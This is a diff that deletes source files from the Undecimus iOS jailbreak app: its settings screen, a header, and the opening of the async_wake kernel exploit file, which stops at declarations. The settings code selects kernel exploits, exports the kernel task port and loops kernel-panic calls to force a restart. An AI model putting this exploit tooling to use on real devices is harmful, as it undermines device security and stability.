@property (weak, nonatomic) IBOutlet UIButton *OpenCydiaButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ExpiryLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *OverwriteBootNonceSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ExportKernelTaskPortSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *RestoreRootFSSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *UptimeLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *IncreaseMemoryLimitSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ECIDLabel;
|
||||
|
||||
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path;
|
||||
|
||||
@end
|
||||
|
||||
@@ -1,413 +0,0 @@
|
||||
//
|
||||
// SettingsTableViewController.m
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/sysctl.h>
|
||||
#import "SettingsTableViewController.h"
|
||||
#include "common.h"
|
||||
#include "ViewController.h"
|
||||
|
||||
@interface SettingsTableViewController ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation SettingsTableViewController
|
||||
|
||||
// https://github.com/Matchstic/ReProvision/blob/7b595c699335940f68702bb204c5aa55b8b1896f/Shared/Application%20Database/RPVApplication.m#L102
|
||||
|
||||
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path {
|
||||
NSError *err;
|
||||
NSString *stringContent = [NSString stringWithContentsOfFile:path encoding:NSASCIIStringEncoding error:&err];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"<plist version=\"1.0\">"][1];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", @"<plist version=\"1.0\">", stringContent];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"</plist>"][0];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", stringContent, @"</plist>"];
|
||||
|
||||
NSData *stringData = [stringContent dataUsingEncoding:NSASCIIStringEncoding];
|
||||
|
||||
NSError *error;
|
||||
NSPropertyListFormat format;
|
||||
|
||||
id plist = [NSPropertyListSerialization propertyListWithData:stringData options:NSPropertyListImmutable format:&format error:&error];
|
||||
|
||||
return plist;
|
||||
}
|
||||
|
||||
#define STATUS_FILE @"/var/lib/dpkg/status"
|
||||
#define CYDIA_LIST @"/etc/apt/sources.list.d/cydia.list"
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1138
|
||||
|
||||
+ (NSArray *)dependencyArrayFromString:(NSString *)depends
|
||||
{
|
||||
NSMutableArray *cleanArray = [[NSMutableArray alloc] init];
|
||||
NSArray *dependsArray = [depends componentsSeparatedByString:@","];
|
||||
for (id depend in dependsArray)
|
||||
{
|
||||
NSArray *spaceDelimitedArray = [depend componentsSeparatedByString:@" "];
|
||||
NSString *isolatedDependency = [[spaceDelimitedArray objectAtIndex:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
if ([isolatedDependency length] == 0)
|
||||
isolatedDependency = [[spaceDelimitedArray objectAtIndex:1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
|
||||
[cleanArray addObject:isolatedDependency];
|
||||
}
|
||||
|
||||
return cleanArray;
|
||||
}
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1163
|
||||
|
||||
+ (NSArray *)parsedPackageArray
|
||||
{
|
||||
NSString *packageString = [NSString stringWithContentsOfFile:STATUS_FILE encoding:NSUTF8StringEncoding error:nil];
|
||||
NSArray *lineArray = [packageString componentsSeparatedByString:@"\n\n"];
|
||||
//NSLog(@"lineArray: %@", lineArray);
|
||||
NSMutableArray *mutableList = [[NSMutableArray alloc] init];
|
||||
//NSMutableDictionary *mutableDict = [[NSMutableDictionary alloc] init];
|
||||
for (id currentItem in lineArray)
|
||||
{
|
||||
NSArray *packageArray = [currentItem componentsSeparatedByString:@"\n"];
|
||||
// NSLog(@"packageArray: %@", packageArray);
|
||||
NSMutableDictionary *currentPackage = [[NSMutableDictionary alloc] init];
|
||||
for (id currentLine in packageArray)
|
||||
{
|
||||
NSArray *itemArray = [currentLine componentsSeparatedByString:@": "];
|
||||
if ([itemArray count] >= 2)
|
||||
{
|
||||
NSString *key = [itemArray objectAtIndex:0];
|
||||
NSString *object = [itemArray objectAtIndex:1];
|
||||
|
||||
if ([key isEqualToString:@"Depends"]) //process the array
|
||||
{
|
||||
NSArray *dependsObject = [SettingsTableViewController dependencyArrayFromString:object];
|
||||
|
||||
[currentPackage setObject:dependsObject forKey:key];
|
||||
|
||||
} else { //every other key, even if it has an array is treated as a string
|
||||
|
||||
[currentPackage setObject:object forKey:key];
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//NSLog(@"currentPackage: %@\n\n", currentPackage);
|
||||
if ([[currentPackage allKeys] count] > 4)
|
||||
{
|
||||
//[mutableDict setObject:currentPackage forKey:[currentPackage objectForKey:@"Package"]];
|
||||
[mutableList addObject:currentPackage];
|
||||
}
|
||||
|
||||
currentPackage = nil;
|
||||
|
||||
}
|
||||
|
||||
NSSortDescriptor *nameDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Name" ascending:YES
|
||||
selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSSortDescriptor *packageDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Package" ascending:YES
|
||||
selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSArray *descriptors = [NSArray arrayWithObjects:nameDescriptor, packageDescriptor, nil];
|
||||
NSArray *sortedArray = [mutableList sortedArrayUsingDescriptors:descriptors];
|
||||
|
||||
mutableList = nil;
|
||||
|
||||
return sortedArray;
|
||||
}
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L854
|
||||
|
||||
+ (NSString *)domainFromRepoObject:(NSString *)repoObject
|
||||
{
|
||||
//LogSelf;
|
||||
if ([repoObject length] == 0)return nil;
|
||||
NSArray *sourceObjectArray = [repoObject componentsSeparatedByString:@" "];
|
||||
NSString *url = [sourceObjectArray objectAtIndex:1];
|
||||
if ([url length] > 7)
|
||||
{
|
||||
NSString *urlClean = [url substringFromIndex:7];
|
||||
NSArray *secondArray = [urlClean componentsSeparatedByString:@"/"];
|
||||
return [secondArray objectAtIndex:0];
|
||||
}
|
||||
return nil;
|
||||
}
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L869
|
||||
|
||||
+ (NSArray *)sourcesFromFile:(NSString *)theSourceFile
|
||||
{
|
||||
NSMutableArray *finalArray = [[NSMutableArray alloc] init];
|
||||
NSString *sourceString = [[NSString stringWithContentsOfFile:theSourceFile encoding:NSASCIIStringEncoding error:nil] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
NSArray *sourceFullArray = [sourceString componentsSeparatedByString:@"\n"];
|
||||
NSEnumerator *sourceEnum = [sourceFullArray objectEnumerator];
|
||||
id currentSource = nil;
|
||||
while (currentSource = [sourceEnum nextObject])
|
||||
{
|
||||
NSString *theObject = [SettingsTableViewController domainFromRepoObject:currentSource];
|
||||
if (theObject != nil)
|
||||
{
|
||||
if (![finalArray containsObject:theObject])
|
||||
[finalArray addObject:theObject];
|
||||
}
|
||||
}
|
||||
|
||||
return finalArray;
|
||||
}
|
||||
|
||||
+ (NSDictionary *)getDiagnostics {
|
||||
struct utsname u = { 0 };
|
||||
NSMutableDictionary *md = nil;
|
||||
uname(&u);
|
||||
md = [[NSMutableDictionary alloc] init];
|
||||
md[@"Sysname"] = [NSString stringWithUTF8String:u.sysname];
|
||||
md[@"Nodename"] = [NSString stringWithUTF8String:u.nodename];
|
||||
md[@"Release"] = [NSString stringWithUTF8String:u.release];
|
||||
md[@"Version"] = [NSString stringWithUTF8String:u.version];
|
||||
md[@"Machine"] = [NSString stringWithUTF8String:u.machine];
|
||||
md[@"ProductVersion"] = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductVersion"];
|
||||
md[@"ProductBuildVersion"] = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductBuildVersion"];
|
||||
md[@"Sources"] = [SettingsTableViewController sourcesFromFile:CYDIA_LIST];
|
||||
md[@"Packages"] = [SettingsTableViewController parsedPackageArray];
|
||||
md[@"Preferences"] = [[NSMutableDictionary alloc] init];
|
||||
md[@"Preferences"][@"TweakInjection"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_TWEAK_INJECTION];
|
||||
md[@"Preferences"][@"LoadDaemons"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_LOAD_DAEMONS];
|
||||
md[@"Preferences"][@"DumpAPTicket"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_DUMP_APTICKET];
|
||||
md[@"Preferences"][@"RefreshIconCache"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_REFRESH_ICON_CACHE];
|
||||
md[@"Preferences"][@"BootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE];
|
||||
md[@"Preferences"][@"Exploit"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPLOIT];
|
||||
md[@"Preferences"][@"DisableAutoUpdates"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_AUTO_UPDATES];
|
||||
md[@"Preferences"][@"DisableAppRevokes"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_APP_REVOKES];
|
||||
md[@"Preferences"][@"OverwriteBootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_OVERWRITE_BOOT_NONCE];
|
||||
md[@"Preferences"][@"ExportKernelTaskPort"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPORT_KERNEL_TASK_PORT];
|
||||
md[@"Preferences"][@"RestoreRootFS"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_RESTORE_ROOTFS];
|
||||
md[@"Preferences"][@"IncreaseMemoryLimit"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_INCREASE_MEMORY_LIMIT];
|
||||
md[@"AppVersion"] = [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"];
|
||||
md[@"LogFile"] = [NSString stringWithContentsOfFile:[NSString stringWithUTF8String:LOG_FILE] encoding:NSUTF8StringEncoding error:nil];
|
||||
return md;
|
||||
}
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
UIImageView *myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
|
||||
[myImageView setContentMode:UIViewContentModeScaleAspectFill];
|
||||
[myImageView setFrame:self.tableView.frame];
|
||||
UIView *myView = [[UIView alloc] initWithFrame:myImageView.frame];
|
||||
[myView setBackgroundColor:[UIColor whiteColor]];
|
||||
[myView setAlpha:0.84];
|
||||
[myView setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
[myImageView addSubview:myView];
|
||||
[self.tableView setBackgroundView:myImageView];
|
||||
[self.navigationController.navigationBar setBackgroundImage:[UIImage new] forBarMetrics:UIBarMetricsDefault];
|
||||
[self.navigationController.navigationBar setShadowImage:[UIImage new]];
|
||||
[self.BootNonceTextField setDelegate:self];
|
||||
self.tap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(userTappedAnyware:)];
|
||||
self.tap.cancelsTouchesInView = NO;
|
||||
[self.view addGestureRecognizer:self.tap];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)userTappedAnyware:(UITapGestureRecognizer *) sender
|
||||
{
|
||||
[self.view endEditing:YES];
|
||||
}
|
||||
|
||||
- (BOOL)textFieldShouldReturn:(UITextField *)textField {
|
||||
[textField resignFirstResponder];
|
||||
return YES;
|
||||
}
|
||||
|
||||
- (void)reloadData {
|
||||
[self.TweakInjectionSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_TWEAK_INJECTION]];
|
||||
[self.LoadDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_LOAD_DAEMONS]];
|
||||
[self.DumpAPTicketSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_DUMP_APTICKET]];
|
||||
[self.BootNonceTextField setPlaceholder:[[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE]];
|
||||
[self.BootNonceTextField setText:nil];
|
||||
[self.RefreshIconCacheSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_REFRESH_ICON_CACHE]];
|
||||
[self.KernelExploitSegmentedControl setSelectedSegmentIndex:[[NSUserDefaults standardUserDefaults] integerForKey:@K_EXPLOIT]];
|
||||
[self.DisableAutoUpdatesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_DISABLE_AUTO_UPDATES]];
|
||||
[self.DisableAppRevokesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_DISABLE_APP_REVOKES]];
|
||||
[self.KernelExploitSegmentedControl setEnabled:isSupportedByExploit(EMPTY_LIST) forSegmentAtIndex:0];
|
||||
[self.KernelExploitSegmentedControl setEnabled:isSupportedByExploit(MULTI_PATH) forSegmentAtIndex:1];
|
||||
[self.KernelExploitSegmentedControl setEnabled:isSupportedByExploit(ASYNC_WAKE) forSegmentAtIndex:2];
|
||||
[self.OpenCydiaButton setEnabled:[[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://"]]];
|
||||
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d Days", (int)[[SettingsTableViewController _provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400]];
|
||||
[self.OverwriteBootNonceSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_OVERWRITE_BOOT_NONCE]];
|
||||
[self.ExportKernelTaskPortSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_EXPORT_KERNEL_TASK_PORT]];
|
||||
[self.RestoreRootFSSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_RESTORE_ROOTFS]];
|
||||
[self.UptimeLabel setPlaceholder:[NSString stringWithFormat:@"%d Days", (int)uptime() / 86400]];
|
||||
[self.IncreaseMemoryLimitSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_INCREASE_MEMORY_LIMIT]];
|
||||
[self.ECIDLabel setPlaceholder:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:@K_ECID] integerValue])];
|
||||
[self.tableView reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)TweakInjectionSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.TweakInjectionSwitch isOn] forKey:@K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)LoadDaemonsSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.LoadDaemonsSwitch isOn] forKey:@K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)DumpAPTicketSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DumpAPTicketSwitch isOn] forKey:@K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)BootNonceTextFieldTriggered:(id)sender {
|
||||
uint64_t val = 0;
|
||||
if ([[NSScanner scannerWithString:[self.BootNonceTextField text]] scanHexLongLong:&val] && val != HUGE_VAL && val != -HUGE_VAL) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:[NSString stringWithFormat:@ADDR, val] forKey:@K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
} else {
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:@"Invalid Entry" message:@"The boot nonce entered could not be parsed" preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil];
|
||||
[alertController addAction:OK];
|
||||
[self presentViewController:alertController animated:YES completion:nil];
|
||||
}
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)RefreshIconCacheSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RefreshIconCacheSwitch isOn] forKey:@K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)KernelExploitSegmentedControl:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:self.KernelExploitSegmentedControl.selectedSegmentIndex forKey:@K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)DisableAppRevokesSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAppRevokesSwitch isOn] forKey:@K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
extern void iosurface_die(void);
|
||||
extern int vfs_die(void);
|
||||
extern int mptcp_die(void);
|
||||
|
||||
- (IBAction)tappedOnRestart:(id)sender {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NOTICE("The device will be restarted.", 1, 0);
|
||||
while (1) {
|
||||
vfs_die();
|
||||
iosurface_die();
|
||||
mptcp_die();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)DisableAutoUpdatesSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAutoUpdatesSwitch isOn] forKey:@K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnShareDiagnosticsData:(id)sender {
|
||||
NSURL *URL = [NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/Documents/diagnostics.plist", NSHomeDirectory()]];
|
||||
[[SettingsTableViewController getDiagnostics] writeToURL:URL error:nil];
|
||||
RESET_LOGS();
|
||||
START_LOGGING();
|
||||
UIActivityViewController *activityViewController = [[UIActivityViewController alloc] initWithActivityItems:@[URL] applicationActivities:nil];
|
||||
if ([activityViewController respondsToSelector:@selector(popoverPresentationController)]) {
|
||||
[[activityViewController popoverPresentationController] setSourceView:self.ShareDiagnosticsDataButton];
|
||||
}
|
||||
[self presentViewController:activityViewController animated:YES completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnOpenCydia:(id)sender {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"cydia://"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnOpenGithub:(id)sender {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)OverwriteBootNonceSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.OverwriteBootNonceSwitch isOn] forKey:@K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyNonce:(id)sender{
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:@"Copy boot nonce?" message:@"Would you like to copy nonce generator to clipboard?" preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:@"Yes" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:[[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE]];
|
||||
}];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:@"No" style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyECID:(id)sender {
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:@"Copy ECID?" message:@"Would you like to ECID to clipboard?" preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:@"Yes" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:@K_ECID] integerValue])];
|
||||
}];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:@"No" style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnGetTechnicalSupport:(id)sender {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://discord.gg/jb"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCheckForUpdate:(id)sender {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NSString *Update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
|
||||
if (Update == nil) {
|
||||
NOTICE("Failed to check for update.", 1, 0);
|
||||
} else if ([Update isEqualToString:[NSString stringWithFormat:@"%@\n", [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"]]]) {
|
||||
NOTICE("Already up to date.", 1, 0);
|
||||
} else {
|
||||
NOTICE("An update is available.", 1, 0);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)exportKernelTaskPortSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ExportKernelTaskPortSwitch isOn] forKey:@K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)RestoreRootFSSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RestoreRootFSSwitch isOn] forKey:@K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)tableView:(UITableView *)tableView willDisplayFooterView:(UITableViewHeaderFooterView *)footerView forSection:(NSInteger)section {
|
||||
footerView.textLabel.textAlignment = NSTextAlignmentCenter;
|
||||
}
|
||||
|
||||
- (IBAction)IncreaseMemoryLimitSwitch:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.IncreaseMemoryLimitSwitch isOn] forKey:@K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnAutomaticallySelectExploit:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:selectExploit() forKey:@K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
[super didReceiveMemoryWarning];
|
||||
// Dispose of any resources that can be recreated.
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -1,68 +0,0 @@
|
||||
//
|
||||
// ViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
static const char *message = NULL;
|
||||
#define SETMESSAGE(msg) (message = msg)
|
||||
|
||||
#define _assert(test, message) do \
|
||||
if (!(test)) { \
|
||||
fprintf(stderr, "__assert(%d:%s)@%s:%u[%s]\n", errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message) \
|
||||
showAlert(@"Error", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], 1, 0); \
|
||||
else \
|
||||
showAlert(@"Error", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__], 1, 0); \
|
||||
exit(1); \
|
||||
} \
|
||||
while (false)
|
||||
|
||||
#define NOTICE(msg, wait, destructive) showAlert(@"Notice", @(msg), wait, destructive)
|
||||
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
dispatch_semaphore_t semaphore;
|
||||
if (wait)
|
||||
semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] dismissViewControllerAnimated:YES completion:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:OK];
|
||||
[alertController setPreferredAction:OK];
|
||||
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] presentViewController:alertController animated:YES completion:nil];
|
||||
});
|
||||
if (wait)
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
@interface ViewController : UIViewController
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goButton;
|
||||
|
||||
enum {
|
||||
EMPTY_LIST = 0,
|
||||
MULTI_PATH = 1,
|
||||
ASYNC_WAKE = 2,
|
||||
};
|
||||
|
||||
double uptime(void);
|
||||
int isJailbroken(void);
|
||||
int isSupportedByExploit(int exploit);
|
||||
int selectExploit(void);
|
||||
void setPreference(NSString *key, id object);
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender;
|
||||
+(ViewController*)sharedController;
|
||||
|
||||
@end
|
||||
|
||||
@@ -1,694 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include "async_wake.h"
|
||||
#include "kmem.h"
|
||||
#include "find_port.h"
|
||||
#include "kutils.h"
|
||||
#include "offsets.h"
|
||||
#include "early_kalloc.h"
|
||||
|
||||
// various prototypes and structure definitions for missing iOS headers:
|
||||
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t *data,
|
||||
mach_msg_type_number_t *dataCnt);
|
||||
|
||||
/****** IOKit/IOKitLib.h *****/
|
||||
typedef mach_port_t io_service_t;
|
||||
typedef mach_port_t io_connect_t;
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
#define IO_OBJECT_NULL (0)
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallAsyncMethod(
|
||||
mach_port_t connection,
|
||||
uint32_t selector,
|
||||
mach_port_t wakePort,
|
||||
uint64_t* reference,
|
||||
uint32_t referenceCnt,
|
||||
const uint64_t* input,
|
||||
uint32_t inputCnt,
|
||||
const void* inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t* output,
|
||||
uint32_t* outputCnt,
|
||||
void* outputStruct,
|
||||
size_t* outputStructCntP);
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallMethod(
|
||||
mach_port_t connection,
|
||||
uint32_t selector,
|
||||
const uint64_t* input,
|
||||
uint32_t inputCnt,
|
||||
const void* inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t* output,
|
||||
uint32_t* outputCnt,
|
||||
void* outputStruct,
|
||||
size_t* outputStructCntP);
|
||||
|
||||
io_service_t
|
||||
IOServiceGetMatchingService(
|
||||
mach_port_t _masterPort,
|
||||
